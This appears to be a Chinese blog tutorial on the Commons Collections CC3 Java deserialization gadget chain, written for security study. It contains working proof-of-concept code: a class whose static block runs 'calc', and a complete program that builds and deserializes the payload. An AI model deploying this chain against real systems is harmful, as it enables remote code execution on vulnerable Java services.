环境准备

我用的cc1的环境

分析

cc链3主要使用的是任意类的加载作为尾部实现攻击,使用的是TemplatesImpl的defineTransletClasses方法中调用的defineClass(TransletClassLoader是Templates类的副类而它的父类正好就是ClassLoader),这边对defineClass的调用正好就是对父类defineclass的调用。

img

注意点:

img

这是一个全新的方法,不算重写(个人理解),后面的才是一个调用父类defineclass方法的函数。

然后找谁调用defineTransletClasses方法,是getTransletInstance这个方法,这个方法中有一个参数要控制一下

img

_name不能为空,_class必须要为空,在找谁调用了getTransletInstance,是newTransformer方法

这个属性要传参,就会报错出问题,怎么解决呢?

img

给它这个值即可。

然后是_bytecodes这个属性,是一个二维的,这里我们让一维byte等于恶意类的字节码,然后再以数组的形式套上一层。

1
2
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] _b = {b};

然后还有一个问题是在

img

superClass是我们的危险类,这里我们需要让_transletIndex不满足小于0,因此我们不能进else所以,我们要让红圈的条件为真,既让加载的动态类继承AbstractTranslet类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.api.pipe.helper.AbstractTubeImpl;

import java.io.IOException;

public class shell extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

问题找的差不多了,我们接着分析谁调用了newTransformer类是TrAXFilter类的构造方法,这里会发现TrAXFilter的方法是不可以序列化的,这时候就要配合InstantiateTransformer类(直接new的话代码就会直接执行,还不能序列化)

img

相当于反射调用类的构造方法吧(Class可以序列化),然后我们就要调用transform方法,接下来就和cc链1一样了。

整体为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field _name = c.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "cc3");
Field _bytecodes = c.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] b = Files.readAllBytes(Paths.get("D:\\Desktop\\java\\javacc\\target\\classes\\shell.class"));
byte[][] _b = {b};
_bytecodes.set(templates, _b);
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

Transformer[] T = {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transform = new ChainedTransformer(T);
HashMap<Object,Object> m = new HashMap();
Map<Object,Object> m2 = LazyMap.decorate(m,transform);
Class r = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = r.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,m2);
Map o1 = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o2 = constructor.newInstance(Override.class, o1);
serialize(o2);
deserialize("ser.bin");



}
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(object);
}
public static Object deserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
return objectInputStream.readObject();
}
}

参考:https://xz.aliyun.com/news/12492